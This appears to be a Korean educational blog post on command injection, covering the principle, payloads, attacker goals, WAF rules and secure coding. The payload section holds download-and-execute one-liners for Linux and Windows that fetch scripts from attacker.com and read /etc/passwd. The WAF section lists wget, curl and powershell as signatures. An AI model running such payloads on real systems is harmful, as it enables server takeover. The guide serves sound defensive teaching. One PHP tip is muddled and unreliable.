반응형

Command Injection을 실무 관점에서 정리할게.
역시 원리 → 예시 Payload → 공격 목표 → 방어 방법/WAF 대응까지 포함했어.


🔥 1. Command Injection 개념

정의:
Command Injection은 웹 애플리케이션에서 사용자 입력을 서버 OS 명령어로 그대로 전달할 때, 공격자가 임의의 OS 명령을 실행하도록 만드는 공격이야.

쉽게 말하면:

  • 공격자가 웹 입력값을 통해 서버 운영체제 명령어를 조작
  • 결과적으로 서버 장악, 파일 조작, 정보 탈취 가능

🔹 2. 공격 원리

 
[웹 입력 필드][웹 서버 코드][OS 명령어 실행]

예시:

 
ping <사용자 입력>

공격자가 입력값에 ; ls / 를 넣으면

 
ping 127.0.0.1; ls /
  • ping은 정상 수행
  • ls / → 서버 루트 파일 목록 출력

➡️ 웹 서버가 입력값을 검증 없이 OS 명령어에 연결했기 때문에 발생


🔹 3. 실무 Payload 예시

1) Linux / Unix

 
; ls -la / ; cat /etc/passwd ; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh

2) Windows

 
& dir C:\ & powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"

3) URL / 웹 요청 예시


🔹 4. 공격 목표

  • 서버 파일 탈취 / 수정
  • 웹쉘 업로드 → 원격 제어
  • 민감 정보 유출 (passwd, config)
  • 다른 서버/네트워크 공격 발판

🔹 5. WAF / 관제 대응

  1. 명령어 시그니처 차단
  • ;, &, |, && 등의 쉘 메타문자
  • wget, curl, powershell, cmd.exe
  1. 입력값 검증
  • 숫자, IP, 허용 문자열 외 입력 차단
  • 정규식 Whitelist 적용
  1. 파라미터 무결성
  • 시스템 명령어 호출을 최소화
  • 외부 입력을 직접 shell로 전달 금지
  1. 이상 행위 탐지
  • 비정상 명령 수행 시 로그 생성
  • 반복 공격 IP 차단

🔹 6. 개발 단계 방어

  • OS 명령어 호출 최소화
  • 라이브러리 함수 사용:
    • PHP: exec() 대신 proc_open/shell_exec 제한
    • Python: subprocess.run([...], shell=False)
  • 사용자 입력 철저 검증 (Whitelist)
  • Least Privilege 계정 사용 (웹 서버 계정 제한)
 
# Python 안전 호출 예시 import subprocess # shell=False, 리스트로 전달 → 쉘 인젝션 방지 subprocess.run(["ping", user_input], shell=False)

🎯 한 문장 요약

Command Injection = 사용자 입력을 서버 OS 명령어로 그대로 전달할 때 공격자가 임의의 명령을 실행하도록 만드는 공격이며, 입력 검증과 안전한 명령 호출로 방어 가능하다.

반응형

+ Recent posts